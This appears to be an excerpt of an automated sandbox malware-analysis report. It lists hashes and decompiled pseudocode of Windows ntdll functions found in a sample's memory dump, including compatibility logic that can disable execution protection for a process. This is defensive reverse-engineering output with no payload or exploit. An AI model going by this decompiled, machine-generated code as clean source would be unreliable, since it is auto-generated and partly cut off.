Instruction ID: 0beee4e3ba2e77e912576f7768bc14011bb5960bcb899920db2cea793f3c47b3
Opcode Fuzzy Hash: f8e284eef6b90805bab8a2ff0ebfbc43975040c3be970696e1492e2cbaac4572
Instruction Fuzzy Hash: 1290022124104802D54071588914707000797D1649F51C466A1115519DC626C96976B1

Uniqueness

Uniqueness Score: -1.00%

Function 34CC2F30 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ad346cfc2d03aceee75cd3c6d32adfb83703ccd939658075d0234beb8bd80da
Instruction ID: ab1137da903239bca767cc895b33df342af1d1a6539db858639bb33842dc149f
Opcode Fuzzy Hash: 6ad346cfc2d03aceee75cd3c6d32adfb83703ccd939658075d0234beb8bd80da
Instruction Fuzzy Hash: C890022120148442D54062584D04B0F410657E224AF91C46EA5247519CC925C8596731

Uniqueness

Uniqueness Score: -1.00%

Function 34CC38D0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b613295a31c3c9539651333a1ac1cc619e94e61a98fbb6c5a3fcd89963d7d21
Instruction ID: 92e0d8b58824fa6ad0830e2e70240eac38940f68b3462ff6dec7d2c774fb3c50
Opcode Fuzzy Hash: 0b613295a31c3c9539651333a1ac1cc619e94e61a98fbb6c5a3fcd89963d7d21
Instruction Fuzzy Hash: 1690022124509102D550715C4904616400677E1249F51C476A1905559DC565C8597231

Uniqueness

Uniqueness Score: -1.00%

Function 34CC29D0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a44cee8476733a5400e6f3b61c029035f65fffa3d8beb3d444a8759189b4a16e
Instruction ID: 400232f5f10dc7fabb2cc4e3209e4a812466be7d5cd05473c298c9116e3f862e
Opcode Fuzzy Hash: a44cee8476733a5400e6f3b61c029035f65fffa3d8beb3d444a8759189b4a16e
Instruction Fuzzy Hash: 509002A1201180924900A2588904B0A450657E1249B51C46BE2145525CC535C855A135

Uniqueness

Uniqueness Score: -1.00%

Function 34CC2AC0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc7ded17d958dc4732d1b4f5533f1626a5cbf7a0a752b385a64ca8a6e9cf17cc
Instruction ID: 284797efb7ddfebf2ef2714d33f631456bcde445bbbf7c4b45813312f43c66d5
Opcode Fuzzy Hash: dc7ded17d958dc4732d1b4f5533f1626a5cbf7a0a752b385a64ca8a6e9cf17cc
Instruction Fuzzy Hash: 0490023160504802D55071584914746000657D1349F51C466A1115619DC765CA5976B1

Uniqueness

Uniqueness Score: -1.00%

Function 34CC2AA0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd08f88dc2f2af3fb5daa3be20f01dd8b27d1c22574158e5d1ddbd6ccee55c99
Instruction ID: bc85c45bea3eb6625b4cbe0b9a5b794e3b15ac716acbb80c96b5030ae334846e
Opcode Fuzzy Hash: bd08f88dc2f2af3fb5daa3be20f01dd8b27d1c22574158e5d1ddbd6ccee55c99
Instruction Fuzzy Hash: 1490023120104802D50461584D04686000657D1349F51C466A711561AED675C8957131

Uniqueness

Uniqueness Score: -1.00%

Function 34D5A1F0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 285timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 34D5A25D
RtlDebugPrintTimes.NTDLL ref: 34D5A2F1
RtlDebugPrintTimes.NTDLL ref: 34D5A314
RtlDebugPrintTimes.NTDLL ref: 34D5A340
RtlDebugPrintTimes.NTDLL ref: 34D5A415
RtlDebugPrintTimes.NTDLL ref: 34D5A468
RtlDebugPrintTimes.NTDLL ref: 34D5A487
RtlDebugPrintTimes.NTDLL ref: 34D5A4B8

Strings

HEAP: , xrefs: 34D5A206

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: DebugPrintTimes
String ID: HEAP:
API String ID: 3446177414-2466845122
Opcode ID: c05a572c79369831f76f6a870175f05f658de5d6064cd25d51d301dc12a2873c
Instruction ID: f9a881fec03d2b6a31a65e027f7c9f8eddbbbcb67e883a326620a6562e51ec09
Opcode Fuzzy Hash: c05a572c79369831f76f6a870175f05f658de5d6064cd25d51d301dc12a2873c
Instruction Fuzzy Hash: 6FA17C757043218FEB04CE58C894A1ABBE5FF88354F1549ADE986DB320EB70EC45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 34CB7550 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 194
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E34CB7550(void* __ecx) {
				signed int _v8;
				char _v548;
				unsigned int _v552;
				unsigned int _v556;
				unsigned int _v560;
				char _v564;
				char _v568;
				void* __ebx;
				void* __edi;
				void* __esi;
				unsigned int _t49;
				signed char _t53;
				unsigned int _t55;
				unsigned int _t56;
				unsigned int _t65;
				unsigned int _t66;
				void* _t68;
				unsigned int _t73;
				unsigned int _t77;
				unsigned int _t85;
				char* _t98;
				unsigned int _t102;
				signed int _t103;
				void* _t105;
				signed int _t107;
				void* _t108;
				void* _t110;
				void* _t111;
				void* _t112;

				_t45 =  *0x34d7b370 ^ _t107;
				_v8 =  *0x34d7b370 ^ _t107;
				_t105 = __ecx;
				if( *0x34d76664 == 0) {
					L5:
					return L34CC4B50(_t45, _t85, _v8 ^ _t107, _t102, _t105, _t106);
				}
				_t85 = 0;
				E34C8E580(3,  *((intOrPtr*)(__ecx + 0x18)), 0, 0,  &_v564);
				if(( *0x7ffe02d5 & 0x00000003) == 0) {
					_t45 = 0;
				} else {
					_t45 =  *(_v564 + 0x5f) & 0x00000001;
				}
				if(_t45 == 0) {
					_v556 = _t85;
					_t49 = E34CB7738(_t105);
					__eflags = _t49;
					if(_t49 != 0) {
						L15:
						_t103 = 2;
						_v556 = _t103;
						L10:
						__eflags = ( *0x7ffe02d5 & 0x0000000c) - 4;
						if(( *0x7ffe02d5 & 0x0000000c) == 4) {
							_t45 = 1;
						} else {
							_t53 = E34CB763B(_v564);
							asm("sbb al, al");
							_t45 =  ~_t53 + 1;
							__eflags = _t45;
						}
						__eflags = _t45;
						if(_t45 == 0) {
							_t102 = _t103 | 0x00000040;
							_v556 = _t102;
						}
						__eflags = _t102;
						if(_t102 != 0) {
							L33:
							_push("true");
							_push( &_v556);
							_push(0x22);
							_push(0xffffffff);
							_t45 = L34CC2B70();
						}
						goto L4;
					}
					_v552 = _t85;
					_t102 =  &_v552;
					_t55 = E34CB76ED(_t105 + 0x2c, _t102);
					__eflags = _t55;
					if(_t55 >= 0) {
						__eflags = _v552 - _t85;
						if(_v552 == _t85) {
							goto L8;
						}
						_t85 = _t105 + 0x24;
						E34D0EF10(0x55, 3, "CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions\n", _v552);
						_v560 = 0x214;
						E34CC8F40( &_v548, 0, 0x214);
						_t106 =  *0x34d76664;
						_t110 = _t108 + 0x20;
						 *0x34d791e0( *((intOrPtr*)(_t105 + 0x28)),  *((intOrPtr*)(_t105 + 0x18)),  *((intOrPtr*)(_t105 + 0x20)), L"ExecuteOptions",  &_v568,  &_v548,  &_v560, _t85);
						_t65 =  *((intOrPtr*)( *0x34d76664))();
						__eflags = _t65;
						if(_t65 == 0) {
							goto L8;
						}
						_t66 = _v560;
						__eflags = _t66;
						if(_t66 == 0) {
							goto L8;
						}
						__eflags = _t66 - 0x214;
						if(_t66 >= 0x214) {
							goto L8;
						}
						_t68 = (_t66 >> 1) * 2 - 2;
						__eflags = _t68 - 0x214;
						if(_t68 >= 0x214) {
							E34CC4C68();
							goto L33;
						}
						_push(_t85);
						 *((short*)(_t107 + _t68 - 0x220)) = 0;
						E34D0EF10(0x55, 3, "CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database\n",  &_v548);
						_t111 = _t110 + 0x14;
						_t73 = E34CCA9C0( &_v548, L"Execute=1");
						_push(_t85);
						__eflags = _t73;
						if(_t73 == 0) {
							E34D0EF10(0x55, 3, "CLIENT(ntdll): Processing %ws for patching section protection for %wZ\n",  &_v548);
							_t106 =  &_v548;
							_t98 =  &_v548;
							_t112 = _t111 + 0x14;
							_t77 = _v560 + _t98;
							_v552 = _t77;
							__eflags = _t98 - _t77;
							if(_t98 >= _t77) {
								goto L8;
							} else {
								goto L27;
							}
							do {
								L27:
								_t85 = E34CCA690(_t106, "true");
								__eflags = _t85;
								if(__eflags != 0) {
									__eflags = 0;
									 *_t85 = 0;
								}
								E34D0EF10(0x55, 3, "CLIENT(ntdll): Processing section info %ws...\n", _t106);
								_t112 = _t112 + 0x10;
								E34CFCC1E(_t105, _t106, __eflags);
								__eflags = _t85;
								if(_t85 == 0) {
									goto L8;
								}
								_t41 = _t85 + 2; // 0x2
								_t106 = _t41;
								__eflags = _t106 - _v552;
							} while (_t106 < _v552);
							goto L8;
						}
						_push("CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ\n");
						_push(3);
						_push(0x55);
						E34D0EF10();
						goto L15;
					}
					L8:
					_t56 = E34CB7648(_t105);
					__eflags = _t56;
					if(_t56 != 0) {
						goto L15;
					}
					_t103 = _v556;
					goto L10;
				} else {
					L4:
					 *(_t105 + 0x34) =  *(_t105 + 0x34) | 0x80000000;
					goto L5;
				}
			}

0x34cb7560
0x34cb7562
0x34cb756f
0x34cb7571
0x34cb75ab
0x34cb75b9
0x34cb75b9
0x34cb7579
0x34cb7583
0x34cb758f
0x34cf4443
0x34cb7595
0x34cb759e
0x34cb759e
0x34cb75a2
0x34cb75bc
0x34cb75c2
0x34cb75c7
0x34cb75c9
0x34cb7621
0x34cb7623
0x34cb7624
0x34cb75f8
0x34cb75ff
0x34cb7601
0x34cb762c
0x34cb7603
0x34cb7609
0x34cb7610
0x34cb7612
0x34cb7612
0x34cb7612
0x34cb7614
0x34cb7616
0x34cb7630
0x34cb7633
0x34cb7633
0x34cb7618
0x34cb761a
0x34cf45c9
0x34cf45c9
0x34cf45d1
0x34cf45d2
0x34cf45d4
0x34cf45d6
0x34cf45d6
0x00000000
0x34cb761a
0x34cb75ce
0x34cb75d4
0x34cb75da
0x34cb75df
0x34cb75e1
0x34cf444a
0x34cf4450
0x00000000
0x00000000
0x34cf4456
0x34cf4469
0x34cf4476
0x34cf4486
0x34cf448b
0x34cf4497
0x34cf44b9
0x34cf44bf
0x34cf44c1
0x34cf44c3
0x00000000
0x00000000
0x34cf44c9
0x34cf44cf
0x34cf44d1
0x00000000
0x00000000
0x34cf44dc
0x34cf44de
0x00000000
0x00000000
0x34cf44e6
0x34cf44ed
0x34cf44ef
0x34cf45c4
0x00000000
0x34cf45c4
0x34cf44f7
0x34cf44f8
0x34cf4510
0x34cf4515
0x34cf4524
0x34cf452b
0x34cf452c
0x34cf452e
0x34cf4556
0x34cf4561
0x34cf4567
0x34cf4569
0x34cf456c
0x34cf456e
0x34cf4574
0x34cf4576
0x00000000
0x00000000
0x00000000
0x00000000
0x34cf457c
0x34cf457c
0x34cf4584
0x34cf4588
0x34cf458a
0x34cf458c
0x34cf458e
0x34cf458e
0x34cf459b
0x34cf45a0
0x34cf45a7
0x34cf45ac
0x34cf45ae
0x00000000
0x00000000
0x34cf45b4
0x34cf45b4
0x34cf45b7
0x34cf45b7
0x00000000
0x34cf45bf
0x34cf4530
0x34cf4535
0x34cf4537
0x34cf4539
0x00000000
0x34cf453e
0x34cb75e7
0x34cb75e9
0x34cb75ee
0x34cb75f0
0x00000000
0x00000000
0x34cb75f2
0x00000000
0x34cb75a4
0x34cb75a4
0x34cb75a4
0x00000000
0x34cb75a4

Strings

CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 34CF4460
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 34CF454D
Execute=1, xrefs: 34CF451E
ExecuteOptions, xrefs: 34CF44AB
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 34CF4530
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 34CF4507
CLIENT(ntdll): Processing section info %ws..., xrefs: 34CF4592

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 0-484625025
Opcode ID: 818d640d1a638ddb15238c973cb1cad2851e607c96a6a3b5a01feae6ccd8110d
Instruction ID: 0a407a6ce1c21ae96b0636e3f32bc7845ddb6665ba58c237db32e72a9fc4041f
Opcode Fuzzy Hash: 818d640d1a638ddb15238c973cb1cad2851e607c96a6a3b5a01feae6ccd8110d
Instruction Fuzzy Hash: DE512771A05219AEFF10AEA4DC94FEE77AEEF04344F4444E9E945E7280EA309E458F64

Uniqueness

Uniqueness Score: -1.00%

Function 34C9A170 Relevance: 12.7, APIs: 1, Strings: 6, Instructions: 404
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E34C9A170(signed char _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16, intOrPtr* _a20) {
				signed int _v8;
				char _v12;
				signed int _v16;
				intOrPtr _v20;
				signed char _v24;
				intOrPtr _v28;
				char _v36;
				char _v40;
				intOrPtr _v44;
				char _v48;
				intOrPtr _v52;
				char _v56;
				signed int _v60;
				char _v64;
				intOrPtr _v68;
				void* _v72;
				void* _v76;
				void* _v80;
				void* _v84;
				void* _v85;
				void* _v88;
				void* _v96;
				void* _v109;
				intOrPtr _t128;
				void* _t129;
				intOrPtr* _t130;
				intOrPtr _t135;
				void* _t136;
				intOrPtr _t145;
				intOrPtr _t151;
				intOrPtr* _t164;
				intOrPtr _t165;
				signed int _t166;
				intOrPtr _t172;
				intOrPtr _t173;
				intOrPtr _t176;
				signed int _t177;
				intOrPtr _t178;
				intOrPtr _t181;
				void* _t190;
				intOrPtr* _t191;
				intOrPtr _t201;
				signed int _t202;
				void* _t203;
				signed char _t213;
				intOrPtr _t214;
				intOrPtr _t217;
				signed int _t219;
				signed int _t224;
				intOrPtr _t228;
				intOrPtr _t229;
				signed int _t234;
				void* _t236;
				signed int _t240;
				void* _t242;

				_t178 =  *[fs:0x18];
				_t242 = (_t240 & 0xfffffff8) - 0x3c;
				_t128 =  *((intOrPtr*)(_t178 + 0x30));
				if( *((intOrPtr*)(_t128 + 0x1f8)) == 0) {
					if( *((intOrPtr*)(_t128 + 0x200)) != 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t178 + 0x1a8)))) != 0) {
						goto L1;
					} else {
						_t129 = 0xc0150001;
						goto L33;
					}
				} else {
					L1:
					_v48 = 0;
					_v36 = 0xffffffff;
					_v40 = 0;
					if(_a16 == 0) {
						L83:
						_t129 = 0xc000000d;
						goto L33;
					} else {
						_t213 = _a4;
						if((_t213 & 0xfffffff8) != 0) {
							goto L83;
						} else {
							_t130 = _a20;
							if((_t213 & 0x00000007) == 0) {
								if(_t130 != 0) {
									goto L5;
								} else {
									goto L6;
								}
							} else {
								if(_t130 == 0) {
									goto L83;
								} else {
									L5:
									if( *_t130 < 0x24) {
										goto L83;
									} else {
										L6:
										if((_t213 & 0x00000002) == 0) {
											L9:
											if((_t213 & 0x00000004) != 0) {
												if(_t130 + 0x40 <=  *_t130 + _t130) {
													goto L10;
												} else {
													_push(0xc000000d);
													_push("RtlpFindActivationContextSection_CheckParameters");
													_push("SXS: %s() flags contains return_assembly_metadata but they don\'t fit in size, return invalid_parameter 0x%08lx.\n");
													goto L82;
												}
											} else {
												L10:
												_t233 = _a8;
												_v24 = _t213;
												_t214 =  *[fs:0x18];
												_v16 = _a12;
												_v12 = 0;
												_t172 = _v12;
												_t181 =  *((intOrPtr*)(_t214 + 0x30));
												_v28 = 0x18;
												_v8 = 0;
												_v20 = _a8;
												_v60 = 0;
												_v52 = _t214;
												_v44 = _t181;
												while(1) {
													_t135 = _t172;
													if(_t135 != 0) {
														goto L34;
													}
													_t164 =  *((intOrPtr*)(_t214 + 0x1a8));
													if(_t164 == 0) {
														L14:
														_t228 =  *((intOrPtr*)(_t181 + 0x1f8));
														_v60 = 0;
														if(_t228 == 0) {
															L36:
															_t228 =  *((intOrPtr*)(_t181 + 0x200));
															_v60 = 0xfffffffc;
															if(_t228 == 0) {
																L87:
																if(_t172 <= 3) {
																	goto L16;
																} else {
																	_t129 = 0xc00000e5;
																	goto L90;
																}
															} else {
																_t172 = 3;
																_v12 = 3;
																goto L16;
															}
														} else {
															_t172 = 2;
															_v12 = 2;
															goto L16;
														}
													} else {
														_t165 =  *_t164;
														if(_t165 != 0) {
															_t166 =  *((intOrPtr*)(_t165 + 4));
															_v60 = _t166;
															if(_t166 != 0) {
																if(_t166 == 0xfffffffc) {
																	_t228 =  *((intOrPtr*)(_t181 + 0x200));
																	goto L56;
																} else {
																	if(_t166 == 0xfffffffd) {
																		_t228 = "Actx ";
																		goto L57;
																	} else {
																		_t228 =  *((intOrPtr*)(_t166 + 0x10));
																		goto L56;
																	}
																}
															} else {
																L56:
																if(_t228 == 0) {
																	goto L14;
																} else {
																	L57:
																	_t172 = 1;
																	_v12 = 1;
																	L16:
																	if(_t228 == 0) {
																		_t129 = 0xc0150001;
																		L90:
																		_t234 = 0;
																		goto L91;
																	} else {
																		_t129 = E34C9A600(_t228, _t233, _a12,  &_v56,  &_v48);
																		if(_t129 < 0) {
																			_t234 = 0;
																			if(_t129 != 0xc0150001 || _t172 == 3) {
																				goto L19;
																			} else {
																				_t181 = _v44;
																				_t214 = _v52;
																				_t233 = _a8;
																				continue;
																			}
																		} else {
																			_t224 = _v60;
																			_v8 = (0 | _t224 != 0xfffffffc) - 0x00000001 & 0x00000002 | 0 | _t224 == 0x00000000;
																			asm("sbb esi, esi");
																			_t234 =  ~(_t224 - 0xfffffffc) & _t224;
																			_t129 = 0;
																			L19:
																			if(_t129 < 0) {
																				L91:
																				if(_t129 < 0) {
																					goto L33;
																				} else {
																					goto L20;
																				}
																			} else {
																				L20:
																				_t173 = _v48;
																				if(_t173 < 0x2c) {
																					L110:
																					_t138 = _v56;
																					goto L111;
																				} else {
																					_t229 = _a20;
																					while(1) {
																						L22:
																						_t138 = _v56;
																						if( *_v56 != 0x64487353) {
																							break;
																						}
																						_t242 = _t242 - 8;
																						_t129 = E34C9A760(_t138, _t173, _a16, _t229,  &_v36,  &_v40);
																						if(_t129 >= 0) {
																							_t83 = _t234 - 1; // -1
																							if((_t83 | 0x00000007) != 0xffffffff) {
																								_t145 =  *((intOrPtr*)(_t234 + 0x14));
																								_v40 = _t145;
																								if(_t145 != 0 && (( *(_t234 + 0x1c) & 0x00000008) == 0 || ( *(_t234 + 0x3c) & 0x00000008) == 0)) {
																									 *((char*)(_t242 + 0xf)) = 0;
																									 *0x34d791e0(3, _t234,  *((intOrPtr*)(_t234 + 0x10)),  *((intOrPtr*)(_t234 + 0x18)), 0, _t242 + 0xf);
																									_v40();
																									 *(_t234 + 0x1c) =  *(_t234 + 0x1c) | 0x00000008;
																									if( *((char*)(_t242 + 0xf)) != 0) {
																										 *(_t234 + 0x3c) =  *(_t234 + 0x3c) | 0x00000008;
																									}
																								}
																							}
																							if(_t229 == 0) {
																								L67:
																								return 0;
																							} else {
																								_t129 = E34C84428(_a4, _t229, _t234,  &_v36, _v64,  *((intOrPtr*)(_v64 + 0x24)),  *((intOrPtr*)(_v64 + 0x28)), _t173);
																								if(_t129 < 0) {
																									goto L33;
																								} else {
																									goto L67;
																								}
																							}
																						} else {
																							if(_t129 != 0xc0150008) {
																								L33:
																								return _t129;
																							} else {
																								_t217 =  *[fs:0x18];
																								_t234 = 0;
																								_v68 = 0;
																								_v40 = _t217;
																								_v60 = 0;
																								_v52 =  *((intOrPtr*)(_t217 + 0x30));
																								_t176 = _v20;
																								L26:
																								while(1) {
																									if(_t176 <= 2) {
																										_t190 = _t176 - _t234;
																										if(_t190 == 0) {
																											_t191 =  *((intOrPtr*)(_t217 + 0x1a8));
																											if(_t191 == 0) {
																												goto L68;
																											} else {
																												_t201 =  *_t191;
																												if(_t201 == 0) {
																													goto L68;
																												} else {
																													_t202 =  *((intOrPtr*)(_t201 + 4));
																													_v60 = _t202;
																													if(_t202 == 0) {
																														L102:
																														if(_t151 == 0) {
																															goto L68;
																														} else {
																															goto L103;
																														}
																													} else {
																														if(_t202 != 0xfffffffc) {
																															if(_t202 != 0xfffffffd) {
																																_t151 =  *((intOrPtr*)(_t202 + 0x10));
																																goto L101;
																															} else {
																																_t151 = "Actx ";
																																_v68 = _t151;
																																L103:
																																_t176 = 1;
																																_v20 = 1;
																																goto L28;
																															}
																														} else {
																															_t151 =  *((intOrPtr*)(_v52 + 0x200));
																															L101:
																															_v68 = _t151;
																															goto L102;
																														}
																													}
																												}
																											}
																										} else {
																											_t203 = _t190 - 1;
																											if(_t203 == 0) {
																												L68:
																												_v60 = 0;
																												_t151 =  *((intOrPtr*)(_v52 + 0x1f8));
																												_v68 = _t151;
																												if(_t151 == 0) {
																													goto L44;
																												} else {
																													_t176 = 2;
																													_v20 = 2;
																													goto L28;
																												}
																											} else {
																												if(_t203 != 1) {
																													goto L27;
																												} else {
																													L44:
																													_v60 = 0xfffffffc;
																													_t151 =  *((intOrPtr*)(_v52 + 0x200));
																													_v68 = _t151;
																													if(_t151 == 0) {
																														goto L27;
																													} else {
																														_t176 = 3;
																														_v20 = 3;
																														goto L28;
																													}
																												}
																											}
																										}
																									} else {
																										L27:
																										if(_t176 > 3) {
																											_t129 = 0xc00000e5;
																											goto L30;
																										} else {
																											L28:
																											if(_t151 != 0) {
																												_t129 = E34C9A600(_t151, _a8, _a12,  &_v64,  &_v56);
																												if(_t129 < 0) {
																													_t219 = 0;
																													if(_t129 != 0xc0150001 || _t176 == 3) {
																														goto L48;
																													} else {
																														_t151 = _v68;
																														_t217 = _v40;
																														continue;
																													}
																												} else {
																													_t177 = _v60;
																													_v16 = (0 | _t177 != 0xfffffffc) - 0x00000001 & 0x00000002 | 0 | _t177 == 0x00000000;
																													asm("sbb edx, edx");
																													_t219 =  ~(_t177 - 0xfffffffc) & _t177;
																													_t129 = 0;
																													L48:
																													if(_t129 < 0) {
																														goto L31;
																													} else {
																														if(_t219 != 0) {
																															_t125 = _t219 - 1; // -1
																															if((_t125 | 0x00000007) != 0xffffffff &&  *_t219 != 0x7fffffff) {
																																while(1) {
																																	_t236 =  *_t219;
																																	if(_t236 == 0x7fffffff) {
																																		goto L50;
																																	}
																																	asm("lock cmpxchg [edx], ecx");
																																	if(_t236 != _t236) {
																																		continue;
																																	} else {
																																		goto L50;
																																	}
																																	goto L112;
																																}
																															}
																														}
																														L50:
																														_t234 = _t219;
																														goto L51;
																													}
																												}
																											} else {
																												_t129 = 0xc0150001;
																												L30:
																												if(_t129 >= 0) {
																													L51:
																													_t173 = _v56;
																													if(_t173 >= 0x2c) {
																														goto L22;
																													} else {
																														goto L110;
																													}
																												} else {
																													L31:
																													if(_t129 == 0xc0150001) {
																														_t129 = 0xc0150008;
																													}
																													goto L33;
																												}
																											}
																										}
																									}
																									goto L112;
																								}
																							}
																						}
																						goto L112;
																					}
																					L111:
																					_push(_t173);
																					E34D0EF10(0x33, 0, "RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section\n", _t138);
																					_t129 = 0xc0150003;
																					goto L33;
																				}
																			}
																		}
																	}
																}
															}
														} else {
															goto L14;
														}
													}
													goto L112;
													L34:
													_t136 = _t135 - 1;
													if(_t136 == 0) {
														goto L14;
													} else {
														if(_t136 != 1) {
															goto L87;
														} else {
															goto L36;
														}
													}
													goto L112;
												}
											}
										} else {
											if(_t130 + 0x2c >  *_t130 + _t130) {
												_push(0xc000000d);
												_push("RtlpFindActivationContextSection_CheckParameters");
												_push("SXS: %s() flags contains return_flags but they don\'t fit in size, return invalid_parameter 0x%08lx.\n");
												L82:
												_push(0);
												_push(0x33);
												E34D0EF10();
												goto L83;
											} else {
												_t130 = _a20;
												goto L9;
											}
										}
									}
								}
							}
						}
					}
				}
				L112:
			}

0x34c9a178
0x34c9a17f
0x34c9a182
0x34c9a18f
0x34c9a4b4
0x00000000
0x34ce77ce
0x34ce77ce
0x00000000
0x34ce77ce
0x34c9a195
0x34c9a195
0x34c9a199
0x34c9a1a1
0x34c9a1a9
0x34c9a1b1
0x34ce77f3
0x34ce77f3
0x00000000
0x34c9a1b7
0x34c9a1b7
0x34c9a1c0
0x00000000
0x34c9a1c6
0x34c9a1c6
0x34c9a1cc
0x34c9a5dc
0x00000000
0x34c9a5e2
0x00000000
0x34c9a5e2
0x34c9a1d2
0x34c9a1d4
0x00000000
0x34c9a1da
0x34c9a1da
0x34c9a1dd
0x00000000
0x34c9a1e3
0x34c9a1e3
0x34c9a1e6
0x34c9a1fa
0x34c9a1fd
0x34c9a5f0
0x00000000
0x34c9a5f6
0x34ce77fd
0x34ce7802
0x34ce7807
0x00000000
0x34ce7807
0x34c9a203
0x34c9a203
0x34c9a208
0x34c9a20b
0x34c9a20f
0x34c9a216
0x34c9a21c
0x34c9a224
0x34c9a228
0x34c9a22b
0x34c9a233
0x34c9a23b
0x34c9a23f
0x34c9a243
0x34c9a247
0x34c9a250
0x34c9a252
0x34c9a255
0x00000000
0x00000000
0x34c9a25b
0x34c9a263
0x34c9a26f
0x34c9a26f
0x34c9a277
0x34c9a27d
0x34c9a3ae
0x34c9a3ae
0x34c9a3b4
0x34c9a3be
0x34ce7823
0x34ce7826
0x00000000
0x34ce782c
0x34ce782c
0x00000000
0x34ce782c
0x34c9a3c4
0x34c9a3c4
0x34c9a3c9
0x00000000
0x34c9a3c9
0x34c9a283
0x34c9a283
0x34c9a288
0x00000000
0x34c9a288
0x34c9a265
0x34c9a265
0x34c9a269
0x34c9a4bf
0x34c9a4c2
0x34c9a4c8
0x34c9a4e3
0x34ce780e
0x00000000
0x34c9a4e9
0x34c9a4ec
0x34ce7819
0x00000000
0x34c9a4f2
0x34c9a4f2
0x00000000
0x34c9a4f2
0x34c9a4ec
0x34c9a4ca
0x34c9a4ca
0x34c9a4cc
0x00000000
0x34c9a4d2
0x34c9a4d2
0x34c9a4d2
0x34c9a4d7
0x34c9a28c
0x34c9a28e
0x34ce7833
0x34ce7838
0x34ce7838
0x00000000
0x34c9a294
0x34c9a2a5
0x34c9a2ac
0x34c9a3d2
0x34c9a3d9
0x00000000
